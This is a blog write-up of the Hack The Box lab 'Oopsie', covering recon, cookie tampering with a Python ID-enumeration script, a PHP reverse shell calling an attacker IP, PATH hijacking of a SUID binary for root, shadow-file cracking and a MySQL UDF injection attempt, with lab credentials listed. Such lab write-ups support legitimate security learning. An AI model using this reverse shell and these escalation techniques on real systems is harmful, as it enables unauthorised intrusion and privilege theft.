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Currently working as a Senior Consultant at Netcompany spending my full-time job solving the SharePoint riddles. In the free time I'm expanding my understanding of cybersecurity through hacking activities. Git fanboy.
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Hack The Box CTF Cyber Apocalypse 2025: Tales from Eldoria
Oopsie is a 2nd box from Starting Point path on Starting Point - Tier 2. This path is composed of 9 boxes in a way that later boxes use information (like credentials) gathered from the previous ones.
This box features debugging session and MySQL enumeration.
| # | |
| Type | Starting Point |
| Name | ** Hack The Box / Oopsie** |
| Pwned | 2021/05/30 |
| URLs | Starting Point - Tier 2 |
| Author | Asentinn / OkabeRintaro |
| https://ctftime.org/team/152207 |
Setting shell variable IP=10.10.10.28
$ nmap -sV -sC -p- $IP -oN nmap-$IP.out
whatweb $IP > whatweb.out
We can remember that possible user is admin.
$ gobuster dir -w /usr/wl/dirbuster-m.txt -x txt,php -u http://$1 -o gbdir-$1-http.out
$ curl -X OPTIONS -I http://$IP/uploads/
$ nikto -h $IP
At the bottom of the page we see that it should have some login front.
By looking at the a source code we can find where the login page is located (also we can see that in the nikto output):
/cdn-cgi/login/
Here, in the source code, apart from the following JS script we don't see anything useful.
Ok, now that we don't have any clues about credentials we can use - but let's try some of these from the Archetype box.
admin/MEGACORP_4dm1n!! is the answer.
On the top navigation bar there is an Upload page - this is something we should check right away for possible reverse shell uploads.
/cdn-cgi/login/admin.php?content=uploads
That's an interesting one. We come back here after we enumerate users
/cdn-cgi/login/admin.php?content=accounts&id=1
Using the Developer Tools (F12) we can peek the request and cookies:
Let's enumerate the id query parameter to discover some users.
# account_enum.py
import requests
import urllib3
import re
from tabulate import tabulate
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
host = "10.10.10.28"
url = f"http://{host}/cdn-cgi/login/admin.php?content=accounts&id="
headers = {}
cookies = {"user":"34322", "role":"admin"}
t_header = ["ID", "Name", "Email"]
t_matches = []
re_pattern = "<table><tr><th>Access ID</th><th>Name</th><th>Email</th></tr><tr><td>(?P<ID>.+)</td><td>(?P<Name>.+)</td><td>(?P<Email>.+)</td></tr></table"
for i in range(100):
r = requests.get(f"{url}{i}", cookies=cookies, headers=headers, verify=False)
match = re.search(re_pattern, r.text)
if match != None:
t_matches.append([match["ID"], match["Name"], match["Email"]])
print(tabulate(t_matches, t_header))
Play with this regex here.
Ok, so when we replace the cookies with super admin account details, we should be able to see the Uploads page.
Voila!
First, we can try the simplest payload:
# pshell.php
<?php
$sock=fsockopen("10.10.XX.XXX",4445);
$proc=proc_open('/bin/sh -i', array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>
Let's see curl http://10.10.10.28/uploads/pshell.php
Yup, reverse shell obtained.
Semi stabilizing shell and alias
$ alias ls='ls --color=always -lAh'
$ python3 -c "import pty;pty.spawn('/bin/bash')"
Some more interesting findings:
Another credential to add.
$ echo 'robert|M3g4C0rpUs3r!' | tee -a ../.credentials
robert|M3g4C0rpUs3r!
$ cat ../.credentials
sql_svc|M3g4c0rp123
administrator|MEGACORP_4dm1n!!
robert|M3g4C0rpUs3r!
Search for user flag:
Now we can try to reuse DB credentials to switch shell user.
Check for sudo rights
bugtracker groupThis group is not a standard one. We should be curious about such creations. By using find command, we can easily track down all files to which group have special permissions to.
find / -group bugtracker 2>/dev/null
Interesting. It looks like some custom application. Lets strace it.
$ strace bugtracker
It is waiting for the input - type anything and hit enter. Later down the stack, we see that application permissions are temporarily elevated to the root permissions
And following path is cat out.
It is even better visible by using ltrace
New to
straceandltrace? Check my other write-up: Passphrase
Application is trying to cat the file out. Using directory traversal, we can read the shadow file.
robert@oopsie:/var/www/html/uploads$ bugtracker
And try to crack root password it with john:
$ unshadow passwd.txt shadow.txt > unshadowed.txt
$ john --wordlist=/usr/wl/rockyou.txt unshadowed.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:53:11 DONE (2021-05-30 15:45) 0g/s 4493p/s 4493c/s 4493C/s !!!playboy!!!7..*7¡Vamos!
Session completed
But we can't crack it. At this point, we can simply cat out the root flag
But let's assume we don't know where the flag lays.
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In the debugging sessions, we see that cat is not referenced via an absolute /bin/cat path. We can exploit that. The plan is to modify PATH variable to include directory, so it will be searched before /bin/. In this directory, we are going to create cat file that will call /bin/bash. As we've observed before, cat (whatever it may be) is run with temporary elevated privileges - that way we can get the root shell.
export PATH=/tmp:$PATH
cd /tmp/
echo '/bin/sh' > cat
chmod +x cat
That way, we have a cat executable file that will be called inside bugtracker instead /bin/cat.
Remember that because we have modified cat in a PATH we should, either unset the /tmp: or call cat via its absolute path.
When you read the reports in the /root/reports you will see many references to the filezilla and its config. It happens that .config directory actually exists in the /root
Alright - another credential to save.
echo 'ftpuser|mc@F1l3ZilL4' | tee -a ../.credentials
Let's see what we can get by using robert account with mysql.
mysql> use garage;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| garage |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.00 sec)
mysql> show tables;
+------------------+
| Tables_in_garage |
+------------------+
| accounts |
| branding |
| clients |
+------------------+
3 rows in set (0.00 sec)
Let's grab password hashes and check it on CrackStation.
mysql> select user,authentication_string from mysql.user;
+------------------+-------------------------------------------+
| user | authentication_string |
+------------------+-------------------------------------------+
| root | |
| mysql.session | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| mysql.sys | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| debian-sys-maint | *D1DBADEE9E3EE2D0767B40F19463FB6C5EB6D594 |
| dbuser | *9CFBBC772F3F6C106020035386DA5BBBF1249A11 |
| robert | *2429DD64CD7A63687EA257432557FEFDA6D6F2A1 |
+------------------+-------------------------------------------+
6 rows in set (0.00 sec)
echo 'dbuser|toor' | tee -a ../.credentials
This exploit is abusing user privileges to INSERT and DELETE on 'mysql' administrative database, so it is possible to use a library located in an arbitrary directory. We can use it to prepare a library with do_system function to execute shell commands with root privileges.
For more detailed steps, please refer to MySQL Arbitrary Library Injection @ Wisec.It.
For a quick wrap up - I did manage to upload the library payload and add its path to mysql.func table.
INSERT INTO mysql.func (name,dl) VALUES ('do_system','/var/lib/mysql-files/lib_mysqludf_sys.so');
The last step was restarting the MySQL server - which I could have done on user account partially. Following will shut down the MySQL...
CREATE FUNCTION exit RETURNS INTEGER SONAME 'libc.so.6';
SELECT exit(0);
... but I didn't find a way to start it again. Maybe it is not possible?
Using relative paths, you are creating a vulnerability that could potentially lead to executing malicious code and in the worst scenario cause privilege escalation.
On this MySQL instance, too many accounts have Priv_system permissions. Always start from the least privileged permission and add more of them as needed.
This advice probably is applicable to all Starting Point boxes, as they are created such intentionally - but it's good to spotlight it.
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